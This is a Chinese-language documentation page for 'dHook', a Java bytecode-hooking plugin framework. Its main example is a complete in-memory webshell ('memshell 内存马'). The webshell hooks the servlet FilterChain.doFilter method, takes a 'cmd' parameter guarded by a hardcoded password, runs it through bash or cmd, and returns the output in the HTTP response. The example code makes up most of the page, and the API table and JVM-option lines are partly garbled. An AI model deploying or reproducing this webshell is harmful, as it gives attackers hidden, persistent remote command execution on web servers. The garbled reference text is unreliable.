编写你的第一个插件

December 18, 2022 · View on GitHub

准备

  1. 创建一个新的java project,并命名为dHook.
  2. 下载dHook.zip
  3. 解压dHook.zip,放入你的插件项目中.
  4. 如下编写名为DHookExtender的类实现IDHookExtender接口,实现对应的方法.
package dHook;
public class DHookExtender implements IDHookExtender {

    public void registerExtenderCallbacks(IDHookExtenderCallbacks callbacks) {
        // your extension code here
    }
}

APIS

Interface IDHookExtenderCallbacks

Modifier and TypeMethod and Description
voidsetExtensionName(String name) 设置扩展名称
voidsetExtensionDesc(String desc) 设置扩展描述
voidsetExtensionHooks(List<String> hooks) 设置hook点
StringgetHookClassName 获取hook过程中的className
StringgetHookMethod() 获取hook过程中的method
StringgetHookDesc() 获取hook过程中的desc
Set<Source>getSource() 获取污点跟踪中的所有源对象
voidinvokeStatic(Type type, Method method) hook时调用静态方法
voidinvokeMethod(final int opcode, final String owner,final String name,final String descriptor) hook时调用方法
voidinvokeReturn() hook方法时,提前调用return,适用于void方法
voidinvokeReturn(String returnValue) hook方法时,提前调用return,适用于返回值为String方法
voidinvokeReturn(int returnValue) hook方法时,提前调用return,适用于返回值为int方法
voidinvokeReturn(String[] returnValue) hook方法时,提前调用return,适用于返回值为String[]方法
voidinvokeReturn(int[] returnValue) hook方法时,提前调用return,适用于返回值为int[]方法
voidpushReturnValue(int opcode, String desc) 将hook的方法的返回值押入栈中
voidpushThis() 将hook的类押入栈中
voidpushParameter() 将hook的方法的参数押入栈中
voidpushObject(Object parameter) 将指定的对象押入栈中
voidpushInt(int parameter) 将int押入栈中

Interface IDHookExtenderCallbacks

Modifier and TypeMethod and Description
voidregisterExtenderCallbacks(IDHookExtenderCallbacks callbacks) 该方法将会在插件加载时调用,注册一个IDHookExtenderCallbacks 接口,默认调用其接口的多个方法,来为开发者提供想要的操作。
voidonMethodExit(int opcode) 在方法退出(return前)时修改代码
voidonMethodEnter() 在方法进入时修改代码
voidonVisitCode() 在方法运行过程中修改代码

案例

memshell 内存马

public class DHookExtender implements IDHookExtender {

    private IDHookExtenderCallbacks callbacks;

    public void registerExtenderCallbacks(IDHookExtenderCallbacks callbacks) {
        ArrayList<String> list = new ArrayList<>();
        list.add("javax/servlet/FilterChain.doFilter(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V");
        callbacks.setExtensionHooks(list);
        callbacks.setExtensionName("memshell");
        callbacks.setExtensionDesc("内存马");
        this.callbacks = callbacks;
    }

    public void onMethodExit(int opcode) {}

    public void onMethodEnter() {
        //将当前参数(此处为request和response)加入调用栈
        callbacks.pushParameter();
        //将当前hook className加入调用栈
        callbacks.pushObject(callbacks.getHookClassName());
        //将当前hook method加入调用栈
        callbacks.pushObject( callbacks.getHookMethod());
        //将当前hook desc加入调用栈
        callbacks.pushObject(callbacks.getHookDesc());
        //调用静态方法
        this.callbacks.invokeStatic(ShellHandler.class, "doHook", "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V");
    }
}

public class ShellHandler {
    protected static final Class[] EMPTY_CLASS = new Class[]{};
    protected static final Class[] STRING_CLASS = new Class[]{String.class};
    private static final ThreadLocal<Boolean> longThreadLocal = new ThreadLocal<>();

    public static void doHook(Object[] args, String className, String method, String desc) {
        //避免一个请求多次触发
        if (longThreadLocal.get() == null) {
            longThreadLocal.set(true);
        } else {
            return;
        }
        //反射调用获取参数
        String c = (String) invokeMethod(args[0], args[0].getClass(), "getParameter", STRING_CLASS, "cmd");
        String psw = (String) invokeMethod(args[0], args[0].getClass(), "getParameter", STRING_CLASS, "psw");

        StringBuilder sb = new StringBuilder();
        for (Object arg : args) {
            sb.append(arg).append("\t");
        }
        String argStr = sb.toString();

        if (psw == null || !psw.equals("psw")) {
            return;
        }
        if (c != null) {
            String cmd;
            try {
                //执行命令
                cmd = execute(c);
            } catch (Exception e) {
                cmd = e.getMessage();
            }
            //填充httpResponse,提前返回
            write(args[1], cmd);
        }
    }

    public static Object invokeMethod(Object object, Class clazz, String methodName, Class[] paramTypes, Object... parameters) {
        try {
            Method method = clazz.getMethod(methodName, paramTypes);
            if (!method.isAccessible()) {
                method.setAccessible(true);
            }
            return method.invoke(object, parameters);
        } catch (Exception e) {
            if (clazz != null) {
            }
            return null;
        }
    }

    public static String execute(String cmd) throws Exception {
        StringBuilder result = new StringBuilder();
        if (cmd == null || cmd.length() == 0) {
            return result.toString();
        }
        DataInputStream dis = null;
        InputStream in = null;
        String osName = System.getProperty("os.name").toLowerCase();
        ProcessBuilder processBuilder;
        try {
            if (osName.contains("windows")) {
                processBuilder = new ProcessBuilder("cmd", "/c", cmd);
            } else {
                processBuilder = new ProcessBuilder("/bin/bash", "-c", cmd);
            }
            Process process = processBuilder.start();
            in = process.getInputStream();
            dis = new DataInputStream(in);
            String disr = dis.readLine();
            result.append("<pre>");
            while (disr != null) {
                result.append(disr).append("\n");
                disr = dis.readLine();
            }
            result.append("</pre>");

        } finally {
            if (in != null) in.close();
            if (dis != null) dis.close();
        }
        return result.toString();
    }

    public static void write(Object response, String value) {

        Object writer = invokeMethod(response, response.getClass(), "getWriterNoCheck", EMPTY_CLASS);
        if (writer == null) {
            writer = invokeMethod(response, response.getClass(), "getOutputStream", EMPTY_CLASS);
        }
        invokeMethod(response, response.getClass(), "disableKeepAliveOnSendError", EMPTY_CLASS);
        invokeMethod(response, response.getClass(), "setContentType", STRING_CLASS, "text/html");
        invokeMethod(response, response.getClass(), "setCharacterEncoding", STRING_CLASS, "UTF-8");

        assert writer != null;
        invokeMethod(writer, writer.getClass(), "print", STRING_CLASS, value);
        invokeMethod(writer, writer.getClass(), "flush", EMPTY_CLASS);
        invokeMethod(writer, writer.getClass(), "close", EMPTY_CLASS);

    }
}

jdk9+ 编写插件时,tomcat应用需要修改catalina.sh以下选项:

JDK_JAVA_OPTIONS="JDKJAVAOPTIONSaddopens=java.base/jdk.internal.loader=ALLUNNAMED"JDKJAVAOPTIONS="JDK_JAVA_OPTIONS --add-opens=java.base/jdk.internal.loader=ALL-UNNAMED" JDK_JAVA_OPTIONS="JDK_JAVA_OPTIONS --add-opens=jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED"

多个插件中自定义类名不要相同,目前会出现错误